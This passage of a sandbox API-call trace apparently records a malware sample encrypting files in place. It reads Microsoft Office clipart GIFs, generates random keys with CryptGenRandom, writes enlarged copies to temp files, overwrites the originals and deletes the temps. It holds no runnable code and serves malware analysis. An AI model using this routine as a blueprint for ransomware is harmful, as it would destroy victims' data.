	[0279.562] WriteFile (in: hFile=0x0, lpBuffer=0xc000144000, nNumberOfBytesToWrite=0x62, lpNumberOfBytesWritten=0xc0001df66c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc0001df66c, lpOverlapped=0x0) returned 0
	[0279.562] WriteFile (in: hFile=0x0, lpBuffer=0xc000144000, nNumberOfBytesToWrite=0x4e, lpNumberOfBytesWritten=0xc0001df66c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc0001df66c, lpOverlapped=0x0) returned 0
	[0279.562] SetEvent (hEvent=0x190) returned 1
	[0279.562] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00092_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00092_.gif"), fInfoLevelId=0x0, lpFileInformation=0xc0001df6b8 | out: lpFileInformation=0xc0001df6b8*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xec210f4, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xec210f4, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xec210f4, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x1f6)) returned 1
	[0279.563] WriteFile (in: hFile=0x0, lpBuffer=0xc000144000, nNumberOfBytesToWrite=0x62, lpNumberOfBytesWritten=0xc0001df66c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc0001df66c, lpOverlapped=0x0) returned 0
	[0279.563] WriteFile (in: hFile=0x0, lpBuffer=0xc000144000, nNumberOfBytesToWrite=0x4e, lpNumberOfBytesWritten=0xc0001df66c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc0001df66c, lpOverlapped=0x0) returned 0
	[0279.563] WriteFile (in: hFile=0x0, lpBuffer=0xc000144000, nNumberOfBytesToWrite=0x53, lpNumberOfBytesWritten=0xc0001e9d94, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc0001e9d94, lpOverlapped=0x0) returned 0
	[0279.563] WriteFile (in: hFile=0x0, lpBuffer=0xc000144000, nNumberOfBytesToWrite=0xa5, lpNumberOfBytesWritten=0xc0001e9d94, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc0001e9d94, lpOverlapped=0x0) returned 0
	[0279.563] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00090_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00090_.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x1, hTemplateFile=0x0) returned 0x1b4
	[0279.563] GetConsoleMode (in: hConsoleHandle=0x1b4, lpMode=0xc0001e9bf4 | out: lpMode=0xc0001e9bf4) returned 0
	[0279.563] GetFileType (hFile=0x1b4) returned 0x1
	[0279.563] GetFileType (hFile=0x1b4) returned 0x1
	[0279.563] GetFileInformationByHandle (in: hFile=0x1b4, lpFileInformation=0xc0001e9c44 | out: lpFileInformation=0xc0001e9c44) returned 1
	[0279.563] GetFileInformationByHandleEx (in: hFile=0x1b4, FileInformationClass=0x9, lpFileInformation=0xc0001e9c28, dwBufferSize=0x8 | out: lpFileInformation=0xc0001e9c28) returned 1
	[0279.564] ReadFile (in: hFile=0x1b4, lpBuffer=0xc000150000, nNumberOfBytesToRead=0x405, lpNumberOfBytesRead=0xc0001e9b04, lpOverlapped=0x0 | out: lpBuffer=0xc000150000*, lpNumberOfBytesRead=0xc0001e9b04*=0x205, lpOverlapped=0x0) returned 1
	[0279.565] ReadFile (in: hFile=0x1b4, lpBuffer=0xc000150205, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0xc0001e9b04, lpOverlapped=0x0 | out: lpBuffer=0xc000150205*, lpNumberOfBytesRead=0xc0001e9b04*=0x0, lpOverlapped=0x0) returned 1
	[0279.565] CloseHandle (hObject=0x1b4) returned 1
	[0279.566] CryptGenRandom (in: hProv=0x192c63dcb20, dwLen=0x20, pbBuffer=0xc000092560 | out: pbBuffer=0xc000092560) returned 1
	[0279.566] CryptGenRandom (in: hProv=0x192c63dcb20, dwLen=0x10, pbBuffer=0xc00028d3b0 | out: pbBuffer=0xc00028d3b0) returned 1
	[0279.566] CryptGenRandom (in: hProv=0x192c63dcb20, dwLen=0x20, pbBuffer=0xc0002a8501 | out: pbBuffer=0xc0002a8501) returned 1
	[0279.566] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\37ed185e0257acc9db6730506a30b9d2" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\37ed185e0257acc9db6730506a30b9d2"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1b4
	[0279.566] GetConsoleMode (in: hConsoleHandle=0x1b4, lpMode=0xc0001e9c04 | out: lpMode=0xc0001e9c04) returned 0
	[0279.567] GetFileType (hFile=0x1b4) returned 0x1
	[0279.567] WriteFile (in: hFile=0x1b4, lpBuffer=0xc00017b500*, nNumberOfBytesToWrite=0x305, lpNumberOfBytesWritten=0xc0001e9bec, lpOverlapped=0x0 | out: lpBuffer=0xc00017b500*, lpNumberOfBytesWritten=0xc0001e9bec*=0x305, lpOverlapped=0x0) returned 1
	[0279.569] CloseHandle (hObject=0x1b4) returned 1
	[0279.571] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00090_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00090_.gif"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x5, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1b4
	[0279.572] GetConsoleMode (in: hConsoleHandle=0x1b4, lpMode=0xc0001e9d74 | out: lpMode=0xc0001e9d74) returned 0
	[0279.573] GetFileType (hFile=0x1b4) returned 0x1
	[0279.573] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\37ed185e0257acc9db6730506a30b9d2" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\37ed185e0257acc9db6730506a30b9d2"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x1, hTemplateFile=0x0) returned 0x1b0
	[0279.573] GetConsoleMode (in: hConsoleHandle=0x1b0, lpMode=0xc0001e9d74 | out: lpMode=0xc0001e9d74) returned 0
	[0279.573] GetFileType (hFile=0x1b0) returned 0x1
	[0279.573] ReadFile (in: hFile=0x1b0, lpBuffer=0xc000156000, nNumberOfBytesToRead=0x8000, lpNumberOfBytesRead=0xc0001e9bd4, lpOverlapped=0x0 | out: lpBuffer=0xc000156000*, lpNumberOfBytesRead=0xc0001e9bd4*=0x305, lpOverlapped=0x0) returned 1
	[0279.573] WriteFile (in: hFile=0x1b4, lpBuffer=0xc000156000*, nNumberOfBytesToWrite=0x305, lpNumberOfBytesWritten=0xc0001e9b74, lpOverlapped=0x0 | out: lpBuffer=0xc000156000*, lpNumberOfBytesWritten=0xc0001e9b74*=0x305, lpOverlapped=0x0) returned 1
	[0279.575] ReadFile (in: hFile=0x1b0, lpBuffer=0xc000156000, nNumberOfBytesToRead=0x8000, lpNumberOfBytesRead=0xc0001e9bd4, lpOverlapped=0x0 | out: lpBuffer=0xc000156000*, lpNumberOfBytesRead=0xc0001e9bd4*=0x0, lpOverlapped=0x0) returned 1
	[0279.575] DeleteFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\37ed185e0257acc9db6730506a30b9d2" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\37ed185e0257acc9db6730506a30b9d2")) returned 0
	[0279.575] RemoveDirectoryW (lpPathName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\37ed185e0257acc9db6730506a30b9d2" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\37ed185e0257acc9db6730506a30b9d2")) returned 0
	[0279.575] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\37ed185e0257acc9db6730506a30b9d2" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\37ed185e0257acc9db6730506a30b9d2")) returned 0x20
	[0279.575] CloseHandle (hObject=0x1b0) returned 1
	[0279.576] CloseHandle (hObject=0x1b4) returned 1
	[0279.576] DeleteFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\37ed185e0257acc9db6730506a30b9d2" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\37ed185e0257acc9db6730506a30b9d2")) returned 1
	[0279.578] WriteFile (in: hFile=0x0, lpBuffer=0xc000144000, nNumberOfBytesToWrite=0x53, lpNumberOfBytesWritten=0xc0001e9d94, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc0001e9d94, lpOverlapped=0x0) returned 0
	[0279.578] WriteFile (in: hFile=0x0, lpBuffer=0xc000144000, nNumberOfBytesToWrite=0xa5, lpNumberOfBytesWritten=0xc0001e9d94, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc0001e9d94, lpOverlapped=0x0) returned 0
	[0279.578] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00092_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00092_.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x1, hTemplateFile=0x0) returned 0x1b4
	[0279.579] GetConsoleMode (in: hConsoleHandle=0x1b4, lpMode=0xc0001e9bf4 | out: lpMode=0xc0001e9bf4) returned 0
	[0279.579] GetFileType (hFile=0x1b4) returned 0x1
	[0279.579] GetFileType (hFile=0x1b4) returned 0x1
	[0279.579] GetFileInformationByHandle (in: hFile=0x1b4, lpFileInformation=0xc0001e9c44 | out: lpFileInformation=0xc0001e9c44) returned 1
	[0279.579] GetFileInformationByHandleEx (in: hFile=0x1b4, FileInformationClass=0x9, lpFileInformation=0xc0001e9c28, dwBufferSize=0x8 | out: lpFileInformation=0xc0001e9c28) returned 1
	[0279.579] ReadFile (in: hFile=0x1b4, lpBuffer=0xc000152000, nNumberOfBytesToRead=0x3f6, lpNumberOfBytesRead=0xc0001e9b04, lpOverlapped=0x0 | out: lpBuffer=0xc000152000*, lpNumberOfBytesRead=0xc0001e9b04*=0x1f6, lpOverlapped=0x0) returned 1
	[0279.581] ReadFile (in: hFile=0x1b4, lpBuffer=0xc0001521f6, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0xc0001e9b04, lpOverlapped=0x0 | out: lpBuffer=0xc0001521f6*, lpNumberOfBytesRead=0xc0001e9b04*=0x0, lpOverlapped=0x0) returned 1
	[0279.581] CloseHandle (hObject=0x1b4) returned 1
	[0279.582] CryptGenRandom (in: hProv=0x192c63dcb20, dwLen=0x20, pbBuffer=0xc0000926e0 | out: pbBuffer=0xc0000926e0) returned 1
	[0279.582] CryptGenRandom (in: hProv=0x192c63dcb20, dwLen=0x10, pbBuffer=0xc00028d490 | out: pbBuffer=0xc00028d490) returned 1
	[0279.620] CryptGenRandom (in: hProv=0x192c63dcb20, dwLen=0x20, pbBuffer=0xc000000701 | out: pbBuffer=0xc000000701) returned 1
	[0279.620] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\23e51325d46892078f919f0786761328" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\23e51325d46892078f919f0786761328"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1b4
	[0279.621] GetConsoleMode (in: hConsoleHandle=0x1b4, lpMode=0xc0001e9c04 | out: lpMode=0xc0001e9c04) returned 0
	[0279.621] GetFileType (hFile=0x1b4) returned 0x1
	[0279.621] WriteFile (in: hFile=0x1b4, lpBuffer=0xc0001f6000*, nNumberOfBytesToWrite=0x2f6, lpNumberOfBytesWritten=0xc0001e9bec, lpOverlapped=0x0 | out: lpBuffer=0xc0001f6000*, lpNumberOfBytesWritten=0xc0001e9bec*=0x2f6, lpOverlapped=0x0) returned 1
	[0279.623] CloseHandle (hObject=0x1b4) returned 1
	[0279.626] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00092_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00092_.gif"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x5, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1b4
	[0279.628] GetConsoleMode (in: hConsoleHandle=0x1b4, lpMode=0xc0001e9d74 | out: lpMode=0xc0001e9d74) returned 0
	[0279.628] GetFileType (hFile=0x1b4) returned 0x1
	[0279.628] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\23e51325d46892078f919f0786761328" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\23e51325d46892078f919f0786761328"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x1, hTemplateFile=0x0) returned 0x1b0
	[0279.628] GetConsoleMode (in: hConsoleHandle=0x1b0, lpMode=0xc0001e9d74 | out: lpMode=0xc0001e9d74) returned 0
	[0279.628] GetFileType (hFile=0x1b0) returned 0x1
	[0279.628] ReadFile (in: hFile=0x1b0, lpBuffer=0xc000284000, nNumberOfBytesToRead=0x8000, lpNumberOfBytesRead=0xc0001e9bd4, lpOverlapped=0x0 | out: lpBuffer=0xc000284000*, lpNumberOfBytesRead=0xc0001e9bd4*=0x2f6, lpOverlapped=0x0) returned 1
	[0279.628] WriteFile (in: hFile=0x1b4, lpBuffer=0xc000284000*, nNumberOfBytesToWrite=0x2f6, lpNumberOfBytesWritten=0xc0001e9b74, lpOverlapped=0x0 | out: lpBuffer=0xc000284000*, lpNumberOfBytesWritten=0xc0001e9b74*=0x2f6, lpOverlapped=0x0) returned 1
	[0279.630] ReadFile (in: hFile=0x1b0, lpBuffer=0xc000284000, nNumberOfBytesToRead=0x8000, lpNumberOfBytesRead=0xc0001e9bd4, lpOverlapped=0x0 | out: lpBuffer=0xc000284000*, lpNumberOfBytesRead=0xc0001e9bd4*=0x0, lpOverlapped=0x0) returned 1
	[0279.630] DeleteFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\23e51325d46892078f919f0786761328" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\23e51325d46892078f919f0786761328")) returned 0
	[0279.630] RemoveDirectoryW (lpPathName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\23e51325d46892078f919f0786761328" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\23e51325d46892078f919f0786761328")) returned 0
	[0279.630] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\23e51325d46892078f919f0786761328" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\23e51325d46892078f919f0786761328")) returned 0x20
	[0279.630] CloseHandle (hObject=0x1b0) returned 1
	[0279.631] CloseHandle (hObject=0x1b4) returned 1
	[0279.631] DeleteFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\23e51325d46892078f919f0786761328" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\23e51325d46892078f919f0786761328")) returned 1
	[0279.633] WriteFile (in: hFile=0x0, lpBuffer=0xc0001c8000, nNumberOfBytesToWrite=0x53, lpNumberOfBytesWritten=0xc0001e9d94, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc0001e9d94, lpOverlapped=0x0) returned 0
	[0279.633] WriteFile (in: hFile=0x0, lpBuffer=0xc0001c8000, nNumberOfBytesToWrite=0xa5, lpNumberOfBytesWritten=0xc0001e9d94, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc0001e9d94, lpOverlapped=0x0) returned 0
	[0279.633] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00126_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00126_.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x1, hTemplateFile=0x0) returned 0x1b4
	[0279.633] GetConsoleMode (in: hConsoleHandle=0x1b4, lpMode=0xc0001e9bf4 | out: lpMode=0xc0001e9bf4) returned 0
	[0279.633] GetFileType (hFile=0x1b4) returned 0x1
	[0279.633] GetFileType (hFile=0x1b4) returned 0x1
	[0279.633] GetFileInformationByHandle (in: hFile=0x1b4, lpFileInformation=0xc0001e9c44 | out: lpFileInformation=0xc0001e9c44) returned 1
	[0279.633] GetFileInformationByHandleEx (in: hFile=0x1b4, FileInformationClass=0x9, lpFileInformation=0xc0001e9c28, dwBufferSize=0x8 | out: lpFileInformation=0xc0001e9c28) returned 1
	[0279.634] ReadFile (in: hFile=0x1b4, lpBuffer=0xc0001fc000, nNumberOfBytesToRead=0xe44, lpNumberOfBytesRead=0xc0001e9b04, lpOverlapped=0x0 | out: lpBuffer=0xc0001fc000*, lpNumberOfBytesRead=0xc0001e9b04*=0xc44, lpOverlapped=0x0) returned 1
	[0279.675] ReadFile (in: hFile=0x1b4, lpBuffer=0xc0001fcc44, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0xc0001e9b04, lpOverlapped=0x0 | out: lpBuffer=0xc0001fcc44*, lpNumberOfBytesRead=0xc0001e9b04*=0x0, lpOverlapped=0x0) returned 1
	[0279.675] CloseHandle (hObject=0x1b4) returned 1
	[0279.676] CryptGenRandom (in: hProv=0x192c63dcb20, dwLen=0x20, pbBuffer=0xc00000e5a0 | out: pbBuffer=0xc00000e5a0) returned 1
	[0279.676] CryptGenRandom (in: hProv=0x192c63dcb20, dwLen=0x10, pbBuffer=0xc0001be830 | out: pbBuffer=0xc0001be830) returned 1
	[0279.676] CryptGenRandom (in: hProv=0x192c63dcb20, dwLen=0x20, pbBuffer=0xc000000a01 | out: pbBuffer=0xc000000a01) returned 1
	[0279.676] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\c0602adcb9b31e971a1b19d8043361e7" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\c0602adcb9b31e971a1b19d8043361e7"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1b4
	[0279.677] GetConsoleMode (in: hConsoleHandle=0x1b4, lpMode=0xc0001e9c04 | out: lpMode=0xc0001e9c04) returned 0
	[0279.677] GetFileType (hFile=0x1b4) returned 0x1
	[0279.677] WriteFile (in: hFile=0x1b4, lpBuffer=0xc000228000*, nNumberOfBytesToWrite=0xd44, lpNumberOfBytesWritten=0xc0001e9bec, lpOverlapped=0x0 | out: lpBuffer=0xc000228000*, lpNumberOfBytesWritten=0xc0001e9bec*=0xd44, lpOverlapped=0x0) returned 1
	[0279.679] CloseHandle (hObject=0x1b4) returned 1
	[0279.836] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00126_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00126_.gif"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x5, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1b4
	[0279.838] GetConsoleMode (in: hConsoleHandle=0x1b4, lpMode=0xc0001e9d74 | out: lpMode=0xc0001e9d74) returned 0
	[0279.839] GetFileType (hFile=0x1b4) returned 0x1
	[0279.839] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\c0602adcb9b31e971a1b19d8043361e7" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\c0602adcb9b31e971a1b19d8043361e7"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x1, hTemplateFile=0x0) returned 0x19c
	[0279.839] GetConsoleMode (in: hConsoleHandle=0x19c, lpMode=0xc0001e9d74 | out: lpMode=0xc0001e9d74) returned 0
	[0279.839] GetFileType (hFile=0x19c) returned 0x1
	[0279.839] ReadFile (in: hFile=0x19c, lpBuffer=0xc0002b4000, nNumberOfBytesToRead=0x8000, lpNumberOfBytesRead=0xc0001e9bd4, lpOverlapped=0x0 | out: lpBuffer=0xc0002b4000*, lpNumberOfBytesRead=0xc0001e9bd4*=0xd44, lpOverlapped=0x0) returned 1
	[0279.839] WriteFile (in: hFile=0x1b4, lpBuffer=0xc0002b4000*, nNumberOfBytesToWrite=0xd44, lpNumberOfBytesWritten=0xc0001e9b74, lpOverlapped=0x0 | out: lpBuffer=0xc0002b4000*, lpNumberOfBytesWritten=0xc0001e9b74*=0xd44, lpOverlapped=0x0) returned 1
	[0279.841] ReadFile (in: hFile=0x19c, lpBuffer=0xc0002b4000, nNumberOfBytesToRead=0x8000, lpNumberOfBytesRead=0xc0001e9bd4, lpOverlapped=0x0 | out: lpBuffer=0xc0002b4000*, lpNumberOfBytesRead=0xc0001e9bd4*=0x0, lpOverlapped=0x0) returned 1
	[0279.841] DeleteFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\c0602adcb9b31e971a1b19d8043361e7" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\c0602adcb9b31e971a1b19d8043361e7")) returned 0
	[0279.841] RemoveDirectoryW (lpPathName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\c0602adcb9b31e971a1b19d8043361e7" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\c0602adcb9b31e971a1b19d8043361e7")) returned 0
	[0279.842] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\c0602adcb9b31e971a1b19d8043361e7" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\c0602adcb9b31e971a1b19d8043361e7")) returned 0x20
	[0279.842] CloseHandle (hObject=0x19c) returned 1
	[0279.842] CloseHandle (hObject=0x1b4) returned 1
	[0279.843] DeleteFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\c0602adcb9b31e971a1b19d8043361e7" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\c0602adcb9b31e971a1b19d8043361e7")) returned 1
	[0279.845] SetEvent (hEvent=0xd4) returned 1
	[0279.845] SetEvent (hEvent=0x1a0) returned 1
	[0279.845] VirtualFree (lpAddress=0xc006ef8000, dwSize=0x2000, dwFreeType=0x4000) returned 1
	[0279.846] WaitForSingleObject (hHandle=0x188, dwMilliseconds=0xffffffff) returned 0x0
	[0280.532] WaitForSingleObject (hHandle=0x188, dwMilliseconds=0xffffffff) returned 0x0
	[0280.609] SetEvent (hEvent=0x190) returned 1
	[0280.609] WriteFile (in: hFile=0x0, lpBuffer=0xc00027e000, nNumberOfBytesToWrite=0x53, lpNumberOfBytesWritten=0xc0001e5d94, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc0001e5d94, lpOverlapped=0x0) returned 0
	[0280.609] WriteFile (in: hFile=0x0, lpBuffer=0xc00027e000, nNumberOfBytesToWrite=0xa5, lpNumberOfBytesWritten=0xc0001e5d94, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc0001e5d94, lpOverlapped=0x0) returned 0
	[0280.609] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00130_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00130_.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x1, hTemplateFile=0x0) returned 0x1b4
	[0280.610] GetConsoleMode (in: hConsoleHandle=0x1b4, lpMode=0xc0001e5bf4 | out: lpMode=0xc0001e5bf4) returned 0
	[0280.610] GetFileType (hFile=0x1b4) returned 0x1
	[0280.610] GetFileType (hFile=0x1b4) returned 0x1
	[0280.610] GetFileInformationByHandle (in: hFile=0x1b4, lpFileInformation=0xc0001e5c44 | out: lpFileInformation=0xc0001e5c44) returned 1
	[0280.610] GetFileInformationByHandleEx (in: hFile=0x1b4, FileInformationClass=0x9, lpFileInformation=0xc0001e5c28, dwBufferSize=0x8 | out: lpFileInformation=0xc0001e5c28) returned 1
	[0280.610] ReadFile (in: hFile=0x1b4, lpBuffer=0xc0000ec000, nNumberOfBytesToRead=0x1685, lpNumberOfBytesRead=0xc0001e5b04, lpOverlapped=0x0 | out: lpBuffer=0xc0000ec000*, lpNumberOfBytesRead=0xc0001e5b04*=0x1485, lpOverlapped=0x0) returned 1
	[0280.749] ReadFile (in: hFile=0x1b4, lpBuffer=0xc0000ed485, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0xc0001e5b04, lpOverlapped=0x0 | out: lpBuffer=0xc0000ed485*, lpNumberOfBytesRead=0xc0001e5b04*=0x0, lpOverlapped=0x0) returned 1
	[0280.749] CloseHandle (hObject=0x1b4) returned 1
	[0280.749] CryptGenRandom (in: hProv=0x192c63dcb20, dwLen=0x20, pbBuffer=0xc0000c0480 | out: pbBuffer=0xc0000c0480) returned 1
	[0280.749] CryptGenRandom (in: hProv=0x192c63dcb20, dwLen=0x10, pbBuffer=0xc0002b2860 | out: pbBuffer=0xc0002b2860) returned 1
	[0280.749] CryptGenRandom (in: hProv=0x192c63dcb20, dwLen=0x20, pbBuffer=0xc00023c501 | out: pbBuffer=0xc00023c501) returned 1
	[0280.749] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\663eaa764a2f03a67ccdad6fda3d0ace" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\663eaa764a2f03a67ccdad6fda3d0ace"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1b4
	[0280.750] GetConsoleMode (in: hConsoleHandle=0x1b4, lpMode=0xc0001e5c04 | out: lpMode=0xc0001e5c04) returned 0
	[0280.750] GetFileType (hFile=0x1b4) returned 0x1
	[0280.750] WriteFile (in: hFile=0x1b4, lpBuffer=0xc0000ed800*, nNumberOfBytesToWrite=0x1585, lpNumberOfBytesWritten=0xc0001e5bec, lpOverlapped=0x0 | out: lpBuffer=0xc0000ed800*, lpNumberOfBytesWritten=0xc0001e5bec*=0x1585, lpOverlapped=0x0) returned 1
	[0280.751] CloseHandle (hObject=0x1b4) returned 1
	[0280.753] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00130_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00130_.gif"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x5, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1b4
	[0280.754] GetConsoleMode (in: hConsoleHandle=0x1b4, lpMode=0xc0001e5d74 | out: lpMode=0xc0001e5d74) returned 0
	[0280.754] GetFileType (hFile=0x1b4) returned 0x1
	[0280.754] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\663eaa764a2f03a67ccdad6fda3d0ace" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\663eaa764a2f03a67ccdad6fda3d0ace"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x1, hTemplateFile=0x0) returned 0x1b0
	[0280.754] GetConsoleMode (in: hConsoleHandle=0x1b0, lpMode=0xc0001e5d74 | out: lpMode=0xc0001e5d74) returned 0
	[0280.754] GetFileType (hFile=0x1b0) returned 0x1
	[0280.754] ReadFile (in: hFile=0x1b0, lpBuffer=0xc0002da000, nNumberOfBytesToRead=0x8000, lpNumberOfBytesRead=0xc0001e5bd4, lpOverlapped=0x0 | out: lpBuffer=0xc0002da000*, lpNumberOfBytesRead=0xc0001e5bd4*=0x1585, lpOverlapped=0x0) returned 1
	[0280.754] WriteFile (in: hFile=0x1b4, lpBuffer=0xc0002da000*, nNumberOfBytesToWrite=0x1585, lpNumberOfBytesWritten=0xc0001e5b74, lpOverlapped=0x0 | out: lpBuffer=0xc0002da000*, lpNumberOfBytesWritten=0xc0001e5b74*=0x1585, lpOverlapped=0x0) returned 1
	[0280.756] ReadFile (in: hFile=0x1b0, lpBuffer=0xc0002da000, nNumberOfBytesToRead=0x8000, lpNumberOfBytesRead=0xc0001e5bd4, lpOverlapped=0x0 | out: lpBuffer=0xc0002da000*, lpNumberOfBytesRead=0xc0001e5bd4*=0x0, lpOverlapped=0x0) returned 1
